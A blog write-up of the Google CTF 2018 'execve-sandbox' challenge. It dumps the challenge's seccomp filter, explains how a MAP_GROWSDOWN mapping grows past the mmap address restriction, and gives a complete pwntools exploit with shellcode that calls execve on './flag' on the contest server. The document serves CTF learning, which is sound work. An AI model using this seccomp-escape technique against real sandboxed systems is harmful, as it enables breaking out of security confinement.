GoogleCTF 2018 Qual PWN EXECVE-Sandbox Write-up

Introduction

After my tutorial on seccomp, thanks for Google CTF for providing such good challenges to learn something new about seccomp escape. Since I was unable to play in Google CTF in time. I think it is necessary to record the challenges.
This post will give the write-up for the execve-sandbox in GoogleCTF. And my write-up is based on [1] and [2].

Programme Analysis

In this challenge, the binary will try to take an ELF file as input and run the file in an sandboxed environment. Though reading the source code of the challenge is a good way to learn the seccomp rules, we have seccomp-tools and use it.
I use make_elf command to create an empty ELF file of size 0x1000 and load the ELF file into the program:

$ seccomp-tools dump -c "./execve-sandbox  < payloadELF"
[*] waiting for an ELF binary...
[*] seccomp-bpf filters installed
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x1d 0xc000003e  if (A != ARCH_X86_64) goto 0031
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x1b 0x00 0x40000000  if (A >= 0x40000000) goto 0031
 0004: 0x15 0x19 0x00 0x00000001  if (A == write) goto 0030
 0005: 0x15 0x18 0x00 0x00000003  if (A == close) goto 0030
 0006: 0x15 0x17 0x00 0x00000005  if (A == fstat) goto 0030
 0007: 0x15 0x16 0x00 0x0000000a  if (A == mprotect) goto 0030
 0008: 0x15 0x15 0x00 0x0000000b  if (A == munmap) goto 0030
 0009: 0x15 0x14 0x00 0x0000000c  if (A == brk) goto 0030
 0010: 0x15 0x13 0x00 0x0000000d  if (A == rt_sigaction) goto 0030
 0011: 0x15 0x12 0x00 0x0000000e  if (A == rt_sigprocmask) goto 0030
 0012: 0x15 0x11 0x00 0x0000000f  if (A == rt_sigreturn) goto 0030
 0013: 0x15 0x10 0x00 0x00000015  if (A == access) goto 0030
 0014: 0x15 0x0f 0x00 0x0000003c  if (A == exit) goto 0030
 0015: 0x15 0x0e 0x00 0x0000003f  if (A == uname) goto 0030
 0016: 0x15 0x0d 0x00 0x00000059  if (A == readlink) goto 0030
 0017: 0x15 0x0c 0x00 0x0000009e  if (A == arch_prctl) goto 0030
 0018: 0x15 0x0b 0x00 0x000000e7  if (A == exit_group) goto 0030
 0019: 0x15 0x0a 0x00 0xffffd8b6  if (A == 0xffffd8b6) goto 0030
 0020: 0x15 0x00 0x04 0x00000009  if (A != mmap) goto 0025
 0021: 0x20 0x00 0x00 0x00000014  A = args[0] >> 32
 0022: 0x35 0x00 0x08 0x00000000  if (A < 0x0) goto 0031
 0023: 0x20 0x00 0x00 0x00000010  A = args[0]
 0024: 0x35 0x05 0x06 0x00011000  if (A >= 0x11000) goto 0030 else goto 0031
 0025: 0x15 0x00 0x05 0x0000003b  if (A != execve) goto 0031
 0026: 0x20 0x00 0x00 0x00000014  A = args[0] >> 32
 0027: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0031
 0028: 0x20 0x00 0x00 0x00000010  A = args[0]
 0029: 0x15 0x00 0x01 0x00010000  if (A != 0x10000) goto 0031
 0030: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0031: 0x06 0x00 0x00 0x00000000  return KILL

From the dump output given above, we can find that there is a list of allowed syscalls. However, rules are different for syscall execve and mmap.
For mmap, its first argument must be larger than 0x11000.
For execve, its first argument must be less than 0x10000.

From the first sight of this challenge, it seems that the challenge is unsolvable because we can never allocate a heap space less than 0x11000.
But things are different for stack space. For stack address, it will automatically grow backwards. To be more specific, we add macro MAP_GROWSDOWN when calling mmap. More details can be found in [3].

Exploit Plan

Use MAP_GROWSDOWN to create a stack-like space and use its feature to extend the memory space to reach 0x10000.
Then put the “./flag” string in the right and invoke execve syscall.

Debugging Technique

The debugging technique is a bit different than previous challenges. We have to use catch command in gdb to stop in the child process.
With the help of debugging script, I am able to test the code on local machine and set a breakpoint before the execve syscall to verify argument.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

context.arch = "amd64";
context.os = "linux";


if(DEBUG == 0):
    r = remote("execve-sandbox.ctfcompetition.com", 1337);
elif(DEBUG == 1):
    r = process("./execve-sandbox");
elif(DEBUG == 2):
    r = process("./execve-sandbox");
    gdb.attach(r, '''source ./script''');

def halt():
    while(True):
        log.info(r.recvline());

def save(payload):
    fd = open("payloadELF", "wb");
    fd.write(payload);
    fd.close();

def exploit():
    code = "";
    code += "mov rax, 0x9;";
    code += "mov rdi, 0x11000;";
    code += "mov rsi, 0x1000;";
    code += "mov rdx, 3;";
    code += "mov r8, -1;";
    code += "mov r9, 0;";
    code += "mov r10, 0x132;";
    code += "syscall;";

    code += "mov rsp, 0x10ff0;";
    code += "movw [rsp], 0x1337;";


    code += "mov rdi, 0x10000;";
    code += "mov rax, 0x67616c662f2e;";
    code += "mov [rdi], rax;";
    code += "mov rax, 0x3b;";
    code += "push 0;";
    code += "mov rdx, rsp;";
    code += "push rdi;";
    code += "mov rsi, rsp;";
    code += "syscall;";


    log.info("asm code: %d bytes" % len(asm(code)));
    elf = make_elf(asm(code), extract=True, strip=True );
    payload = elf.ljust(0x1000, "\x00");
    save(payload);

    r.recvuntil("binary...");
    r.send(payload);

    halt();

exploit();

Reference

[1] https://devcraft.io/2018/06/26/execve-sandbox-google-ctf-2018.html
[2] https://github.com/google/google-ctf/blob/master/2018/quals/pwn-execve-sandbox/src/tiny-exploit.s
[3] http://man7.org/linux/man-pages/man2/mmap.2.html

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.